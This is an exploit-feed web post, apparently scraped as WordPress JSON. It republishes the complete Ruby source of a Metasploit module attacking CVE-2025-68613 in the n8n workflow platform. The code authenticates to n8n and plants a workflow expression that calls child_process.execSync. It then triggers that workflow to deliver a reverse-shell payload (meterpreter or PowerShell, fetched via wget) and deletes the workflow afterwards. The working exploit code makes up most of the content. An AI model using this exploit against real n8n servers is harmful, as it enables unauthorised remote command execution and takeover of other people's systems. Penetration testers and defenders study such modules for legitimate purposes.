{"id":35459,"date":"2026-01-13T13:48:01","date_gmt":"2026-01-13T13:48:01","guid":{"rendered":"http:\/\/localhost\/?p=35459"},"modified":"2026-01-13T13:48:01","modified_gmt":"2026-01-13T13:48:01","slug":"n8n-workflow-expression-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=35459","title":{"rendered":"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-13T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits a critical remote code execution vulnerability CVE-2025-68613 in the n8n workflow automation platform. The vulnerability exists in the workflow expression evaluation system where user-supplied expressions enclosed in are evaluated&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-13T18:59:06&#8243;,&#8221;modified&#8221;:&#8221;2026-01-13T18:59:06&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;n8n Workflow Expression Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-68613&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;n8n Workflow Expression Remote Code Execution&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits a critical remote code execution vulnerability (CVE-2025-68613)\\n          in the n8n workflow automation platform. The vulnerability exists in the workflow\\n          expression evaluation system where user-supplied expressions enclosed in {{ }}\\n          are evaluated in an execution context that is not sufficiently isolated from the\\n          underlying Node.js runtime.\\n\\n          An authenticated attacker can create a workflow containing malicious expressions\\n          that access the Node.js process object via this.process.mainModule.require (or via\\n          the constructor) to load child_process and execute arbitrary system commands.\\n          This module uses a Schedule Trigger node to automatically fire and evaluate the\\n          malicious payload. This requires valid credentials to create workflows.\\n\\n          Successful exploitation may lead to full compromise of the n8n instance,\\n          including unauthorized access to sensitive data, modification of workflows,\\n          and execution of system-level operations.\\n\\n          Affected versions: \\u003e= 0.211.0 and \\u003c 1.120.4, \\u003c 1.121.1, \\u003c 1.122.0\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Lukas Johannes M\u00f6ller&#8217;\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-68613&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/n8n-io\/n8n\/security\/advisories&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-68613&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix\/Linux Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e %w[unix linux],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :unix_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                # cmd\/unix payloads use commands that might not be present in docker instance\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;,\\n                &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;wget&#8217;\\n              }\\n            }\\n          ],\\n          [\\n            &#8216;Windows Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :win_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/windows\/powershell_reverse_tcp&#8217;\\n              }\\n            }\\n          ]\\n        ],\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;BadChars&#8217; =\\u003e %(&#8216;)\\n        },\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-06-10&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e 5678,\\n          &#8216;SSL&#8217; =\\u003e false\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path to n8n&#8217;, &#8216;\/&#8217;]),\\n        OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;n8n username or email for authentication&#8217;]),\\n        OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;n8n password for authentication&#8217;])\\n      ]\\n    )\\n  end\\n\\n  def check\\n    return CheckCode::Unknown(&#8216;Could not authenticate to n8n&#8217;) unless authenticate\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;settings&#8217;)\\n    )\\n\\n    return CheckCode::Unknown(&#8216;Could not connect to n8n&#8217;) if res.blank?\\n    return CheckCode::Detected(&#8216;Connected to n8n, received unexpected response&#8217;) unless res.code == 200\\n\\n    json = res.get_json_document\\n    version = Rex::Version.new(json.dig(&#8216;data&#8217;, &#8216;versionCli&#8217;))\\n\\n    return CheckCode::Detected(&#8216;n8n detected but could not determine version&#8217;) unless version\\n\\n    print_status(\\&#8221;Detected n8n version: #{version}\\&#8221;)\\n\\n    return CheckCode::Appears(\\&#8221;Version #{version} is vulnerable\\&#8221;) if version.between?(Rex::Version.new(&#8216;0.211.0&#8217;), Rex::Version.new(&#8216;1.120.4&#8217;)) || version == Rex::Version.new(&#8216;1.121.0&#8217;)\\n\\n    CheckCode::Safe(\\&#8221;Version #{version} is not vulnerable\\&#8221;)\\n  end\\n\\n  def authenticate\\n    print_status(&#8216;Attempting to authenticate&#8230;&#8217;)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;login&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;data&#8217; =\\u003e {\\n        &#8217;emailOrLdapLoginId&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n        &#8217;email&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n        &#8216;password&#8217; =\\u003e datastore[&#8216;PASSWORD&#8217;]\\n      }.to_json\\n    )\\n\\n    return true if res\\u0026.code == 200\\n\\n    json_data = res.get_json_document\\n\\n    print_error(\\&#8221;Login failed: #{json_data[&#8216;message&#8217;]}\\&#8221;)\\n\\n    false\\n  end\\n\\n  def create_malicious_workflow(cmd)\\n    expression_payload = %\\u003c{{ (function(){ return this.process.mainModule.require(&#8216;child_process&#8217;).execSync(&#8216;#{cmd}&#8217;).toString() })() }}\\u003e\\n\\n    @workflow_name = \\&#8221;workflow_#{Rex::Text.rand_text_alphanumeric(8)}\\&#8221;\\n\\n    workflow_data = {\\n      &#8216;name&#8217; =\\u003e @workflow_name,\\n      &#8216;active&#8217; =\\u003e false,\\n      &#8216;settings&#8217; =\\u003e {\\n        &#8216;saveDataErrorExecution&#8217; =\\u003e &#8216;all&#8217;,\\n        &#8216;saveDataSuccessExecution&#8217; =\\u003e &#8216;all&#8217;,\\n        &#8216;saveManualExecutions&#8217; =\\u003e true,\\n        &#8216;executionOrder&#8217; =\\u003e &#8216;v1&#8217;\\n      },\\n      &#8216;nodes&#8217; =\\u003e [\\n        {\\n          parameters: {},\\n          type: &#8216;n8n-nodes-base.manualTrigger&#8217;,\\n          typeVersion: 1,\\n          position: [\\n            0,\\n            0\\n          ],\\n          &#8216;id&#8217; =\\u003e Rex::Text.rand_text_alphanumeric(36),\\n          name: \\&#8221;When clicking &#8216;Execute workflow&#8217;\\&#8221;\\n        },\\n        {\\n          parameters: {\\n            values: {\\n              string: [\\n                {\\n                  value: \\&#8221;=#{expression_payload}\\&#8221;\\n                }\\n              ]\\n            },\\n            options: {}\\n          },\\n          id: &#8216;40031677-e085-4434-9168-fb0b21ead60d&#8217;,\\n          name: &#8216;Set&#8217;,\\n          type: &#8216;n8n-nodes-base.set&#8217;,\\n          typeVersion: 1,\\n          position: [\\n            220,\\n            0\\n          ]\\n        }\\n      ],\\n      &#8216;connections&#8217; =\\u003e {\\n        \\&#8221;When clicking &#8216;Execute workflow&#8217;\\&#8221; =\\u003e {\\n          &#8216;main&#8217; =\\u003e [\\n            [\\n              {\\n                &#8216;node&#8217; =\\u003e &#8216;Set&#8217;,\\n                &#8216;type&#8217; =\\u003e &#8216;main&#8217;,\\n                &#8216;index&#8217; =\\u003e 0\\n              }\\n\\n            ]\\n          ]\\n        }\\n      }\\n    }\\n\\n    print_status(&#8216;Creating malicious workflow&#8230;&#8217;)\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;data&#8217; =\\u003e workflow_data.to_json\\n    )\\n\\n    fail_with(Failure::UnexpectedReply, \\&#8221;Failed to create workflow: #{res\\u0026.code}\\&#8221;) unless res\\u0026.code == 200 || res\\u0026.code == 201\\n\\n    json = res.get_json_document\\n\\n    @workflow_id = json.dig(&#8216;data&#8217;, &#8216;id&#8217;) || json[&#8216;id&#8217;]\\n    nodes = json.dig(&#8216;data&#8217;, &#8216;nodes&#8217;)\\n    version_id = json.dig(&#8216;data&#8217;, &#8216;versionId&#8217;)\\n    id = json.dig(&#8216;data&#8217;, &#8216;id&#8217;)\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Failed to get workflow ID from response&#8217;) unless @workflow_id \\u0026\\u0026 nodes \\u0026\\u0026 version_id \\u0026\\u0026 id\\n\\n    activation_data = {\\n      &#8216;workflowData&#8217; =\\u003e {\\n        &#8216;name&#8217; =\\u003e @workflow_name,\\n        &#8216;nodes&#8217; =\\u003e nodes,\\n        &#8216;pinData&#8217; =\\u003e {},\\n        &#8216;connections&#8217; =\\u003e {\\n          \\&#8221;When clicking &#8216;Execute workflow&#8217;\\&#8221; =\\u003e {\\n            &#8216;main&#8217; =\\u003e [\\n              [\\n                {\\n                  &#8216;node&#8217; =\\u003e &#8216;Set&#8217;,\\n                  &#8216;type&#8217; =\\u003e &#8216;main&#8217;,\\n                  &#8216;index&#8217; =\\u003e 0\\n                }\\n              ]\\n            ]\\n          }\\n        },\\n        &#8216;active&#8217; =\\u003e false,\\n        &#8216;settings&#8217; =\\u003e {\\n          &#8216;saveDataErrorExecution&#8217; =\\u003e &#8216;all&#8217;,\\n          &#8216;saveDataSuccessExecution&#8217; =\\u003e &#8216;all&#8217;,\\n          &#8216;saveManualExecutions&#8217; =\\u003e true,\\n          &#8216;executionOrder&#8217; =\\u003e &#8216;v1&#8217;\\n        },\\n        &#8216;tags&#8217; =\\u003e [],\\n        &#8216;versionId&#8217; =\\u003e version_id,\\n        &#8216;meta&#8217; =\\u003e &#8216;null&#8217;,\\n        &#8216;id&#8217; =\\u003e id\\n      },\\n      &#8216;startNodes&#8217; =\\u003e [],\\n      &#8216;destinationNode&#8217; =\\u003e &#8216;Set&#8217;\\n    }\\n\\n    print_status(&#8216;Triggering malicious workflow&#8230;&#8217;)\\n\\n    # older versions on n8n allow to execute workflow without workflow ID, while the newer versions\\n    # have URI rest\/workflow\/[workflow ID]\/run available to make workflow run. If the first request\\n    # returns 404, it means that it is probably newer version, so module will try the second variant.\\n\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, &#8216;run&#8217;),\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;data&#8217; =\\u003e activation_data.to_json\\n    )\\n\\n    if res\\u0026.code == 404\\n      res = send_request_cgi(\\n        &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n        &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, @workflow_id.to_s, &#8216;run&#8217;),\\n        &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n        &#8216;keep_cookies&#8217; =\\u003e true,\\n        &#8216;data&#8217; =\\u003e activation_data.to_json\\n      )\\n    end\\n\\n    fail_with(Failure::PayloadFailed, &#8216;Could not start workflow&#8217;) unless res\\u0026.code == 200\\n\\n    print_good(\\&#8221;Created workflow with ID: #{@workflow_id}\\&#8221;)\\n  end\\n\\n  def archive_workflow\\n    print_status(\\&#8221;Cleaning up workflow #{@workflow_id}&#8230;\\&#8221;)\\n\\n    send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, @workflow_id.to_s, &#8216;archive&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n  end\\n\\n  def exploit\\n    cookie_jar.clear\\n\\n    fail_with(Failure::NoAccess, &#8216;Could not authenticate&#8217;) unless authenticate\\n\\n    create_malicious_workflow(payload.encoded)\\n  end\\n\\n  def cleanup\\n    super\\n    if @workflow_id\\n      archive_workflow\\n      # delete workflow\\n      send_request_cgi(\\n        &#8216;method&#8217; =\\u003e &#8216;DELETE&#8217;,\\n        &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;rest&#8217;, &#8216;workflows&#8217;, @workflow_id.to_s)\\n      )\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/n8n_workflow_expression_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/n8n_workflow_expression_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-13T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits a critical remote code execution vulnerability CVE-2025-68613 in the n8n workflow automation platform. The vulnerability exists in the workflow expression evaluation system&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,169,13,7,11,5],"class_list":["post-35459","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=35459\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-13T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits a critical remote code execution vulnerability CVE-2025-68613 in the n8n workflow automation platform. The vulnerability exists in the workflow expression evaluation system...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=35459\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-13T13:48:01+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE-\",\"datePublished\":\"2026-01-13T13:48:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459\"},\"wordCount\":1684,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35459#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459\",\"name\":\"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-13T13:48:01+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35459\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35459#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=35459","og_locale":"en_US","og_type":"article","og_title":"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-13T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits a critical remote code execution vulnerability CVE-2025-68613 in the n8n workflow automation platform. The vulnerability exists in the workflow expression evaluation system...","og_url":"https:\/\/zero.redgem.net\/?p=35459","og_site_name":"zero redgem","article_published_time":"2026-01-13T13:48:01+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=35459#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=35459"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE-","datePublished":"2026-01-13T13:48:01+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=35459"},"wordCount":1684,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=35459#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=35459","url":"https:\/\/zero.redgem.net\/?p=35459","name":"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-13T13:48:01+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=35459#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=35459"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=35459#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"n8n Workflow Expression Remote Code Execution_MSF:EXPLOIT-MULTI-HTTP-N8N_WORKFLOW_EXPRESSION_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 